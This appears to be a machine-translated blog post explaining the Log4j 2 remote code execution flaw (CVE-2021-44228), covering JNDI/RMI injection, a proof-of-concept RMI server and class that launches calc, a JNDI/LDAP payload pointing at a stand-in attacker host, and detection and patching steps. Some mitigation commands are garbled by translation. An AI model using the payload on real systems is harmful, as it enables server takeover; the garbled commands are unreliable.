Detailed explanation of Apache Log4j 2 Remote Code Execution Vulnerability

Posted by mdnghtblue on Fri, 18 Feb 2022 04:18:32 +0100

If you are Xiaobai, this set of information can help you become a big bull. If you have rich development experience, this set of information can help you break through the bottleneck
2022web full set of video tutorial front-end architecture H5 vue node applet Video + data + code + interview questions.

On November 24, 2021, Alibaba cloud security team reported the Apache Log4j2 Remote Code Execution Vulnerability to Apache officials. On December 10, 2021, Alibaba cloud security team found a vulnerability in Apache Log4j 2.15.0-rc1. Please update it to the official version of Apache Log4j 2.15.0 in time.

Source:

Alibaba cloud vulnerability alert

360 security vulnerability Report

Tencent security

1. Preparatory knowledge

1.1 Apache

Apache is the world's No. 1 Web server software. It can run on almost all widely used computer platforms. It is one of the most popular Web server-side software because of its cross platform and security. It is fast and reliable, and can be expanded through simple API to compile interpreters such as Perl/Python into the server.

1.2 log4j

Log4j is an open source project of Apache. By using log4j, we can control that the destination of log information transmission is console, files, GUI components, even socket server, NT event recorder, UNIX Syslog daemon, etc; We can also control the output format of each log; By defining the level of each log information, we can control the log generation process in more detail. The most interesting thing is that these can be flexibly configured through a configuration file without modifying the application code.

1.3 JNDI injection

1.3.1 JNDI

JNDI (full name Java Naming and Directory Interface) is a Java API for directory services. It allows Java clients to discover and find data and resources (in the form of Java objects) by name. Like all Java APIs that interface with the host system, JNDI is independent of the underlying implementation. In addition, it specifies a service provider interface (SPI) that allows the directory service implementation to be inserted into the framework. The information queried through JNDI may be provided by the server, file or database, and the choice depends on the implementation used.

1.3.2 JNDI injection

JNDI injection is simply when the JNDI interface is initialized, such as initialcontext Lookup (URI). If the URI is controllable, the client may be attacked

1.3.3 RMI

JNDI injection through RMI, the malicious RMI server constructed by the attacker returns a Reference object to the client. The Reference object specifies that the malicious Factory class constructed by the attacker will be loaded remotely. When the client is looking up, the malicious Factory class constructed by the attacker will be dynamically loaded and instantiated remotely, Attackers can add malicious code in construction methods or static code.

javax. naming. The construction method of reference is: Reference(String className, String factory, String factoryLocation),

  1. className - the class name used when loading remotely
  2. classFactory - the name of the class to be instantiated in the loaded class
  3. classFactoryLocation - the address providing classes data can be file/ftp/http and other protocols

Because Reference does not implement the Remote interface or inherit the UnicastRemoteObject class, it cannot be bound to the registry as a Remote object. Therefore, it is necessary to use ReferenceWrapper to encapsulate the instance of Reference.

The server code is as follows

package demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIServer {

    public static void main(String[] args) throws Exception{
        Registry registry= LocateRegistry.createRegistry(7777);

        Reference reference = new Reference("test", "test", "http://localhost/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("calc", wrapper);

    }
}

The malicious code (test.class) is compiled and placed on an accessible http server

import java.lang.Runtime;

public class test{
    public test() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

When the client passes initialcontext() lookup(" rmi://127.0.0.1:7777/calc ") when getting remote objects, our malicious code will be executed

package demo;

import javax.naming.InitialContext;

public class JNDI_Test {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
    }
}

The call stack is as follows

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:411, InitialContext (javax.naming)
main:7, JNDI_Test (demo)

1.3.4 JNDI triggers Apache Log4j2

The details of Apache Log4j2 Remote Code Execution Vulnerability have been disclosed. After analysis, the Apache Log4j remote code execution vulnerability is precisely due to the Java JNDI injection vulnerability in the component: when the program logs the data entered by the user, the attacker triggers the Remote Code Execution Vulnerability in Apache Log4j2 by constructing a special request, This vulnerability can be exploited to execute arbitrary code on the target server.

Attack principle: (source) https://www.zhihu.com/question/504998020/answer/2265112632 )

import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
 static Logger log = Logger.getLogger(log4jExample.class.getName());
 /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
 public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
 
 // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
 // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);
    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

According to the attack code provided above, an attacker can execute the LDAP protocol through JNDI to inject some illegal executable code.

Attack steps

  • The attacker sends an attack request to the vulnerable server.
  • The server logs the malicious load based on JNDI and LDAP contained in the attack request through Log4j2 ${jndi:ldap://attacker.com/a }´╝îattacker. COM is the address controlled by the attacker.
  • Recorded malicious load Triggered, the server sends a message to the attacker through JNDI Com request.
  • attacker. Com can add some malicious executable scripts to the response and inject them into the server process, such as executable bytecode http://second-stage.attacker.com/Exploit.class .
  • An attacker executes a malicious script.

2. Vulnerability handling

Vulnerability rating

CVE-2021-44228 Apache Log4j Remote Code Execution Vulnerability serious

Impact version

Apache Log4j 2.x < 2.15.0

2.1 internal self inspection

2.1.1 project dependent version detection

Check whether the pom dependent version is lower than 2.15.0

<dependencies>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.15.0</version>
  </dependency>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.15.0</version>
  </dependency>
</dependencies>

Check whether the dependent version of gradle is lower than 2.15.0

dependencies {
  compile group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.15.0'
  compile group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.15.0'
} 

Check whether Ivy dependent version is lower than 2.15.0

<dependencies>
  <dependency org="org.apache.logging.log4j" name="log4j-api" rev="2.15.0" />
  <dependency org="org.apache.logging.log4j" name="log4j-core" rev="2.15.0" />
</dependencies>

Check whether the SBT dependent version is lower than 2.15.0

libraryDependencies += "org.apache.logging.log4j" % "log4j-api" % "2.15.0"
libraryDependencies += "org.apache.logging.log4j" % "log4j-core" % "2.15.0"

If the above tools are not used, you can search the project globally for the existence of the relevant jar package of log4j, and click / meta-inf / manifest. In the jar package MF file to view the version of log4j.

2.1.2 log / traffic troubleshooting

. check whether the ${jndi: keyword exists in the log or the decoded complete request packet.

. check whether there are stack errors in the log, and whether there are stack information related to jndi calls such as JndiLookup, ldapURLContext, getObjectFactoryFromReference, etc.

Repair 2.2

1. Check whether the Apache log4j core jar package is introduced into the application. If there is dependency introduction and it is within the affected version range, there may be a vulnerability. Please upgrade all relevant applications of Apache Log4j2 to the latest version of log4j-2.15.0 as soon as possible https://logging.apache.org/log4j/2.x/download.html

2. Upgrade known affected applications and components, such as spring-boot-starter-log4j2 / Apache struts 2 / Apache Solr / Apache Druid / Apache Flink

3. Temporary mitigation plan. The jdk version can be upgraded to 6u211 / 7u201 / 8u191 / 11.0.1 or above, which can limit JNDI and other vulnerability exploitation methods to a certain extent. For Log4j greater than version 2.10, Log4j2 can be set Formatmsgnolookups is True, or remove the jndilookup class from the classpath, such as zip - Q - D Log4j core - * jar org/apache/logging/Log4j/core/lookup/JndiLookup. class

2.2.1 general repair

Upgrade to the latest version 2.15.0-rc2:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

2.2.2 temporary repair suggestions

  1. Set JVM startup parameters - dlog4j2 formatMsgNoLookups=true.

  2. Try to use JDK versions larger than 11.0.1, 8u191, 7u201 and 6u211. It should be noted that even if JDK versions are used, security cannot be fully guaranteed, and local bypass still exists.

  3. Restrict unnecessary business access to the Internet.

  4. Use rasp to block the call of lookup.

  5. Use waf to intercept ${jndi in the request traffic.

Topics: Front-end Web Development Interview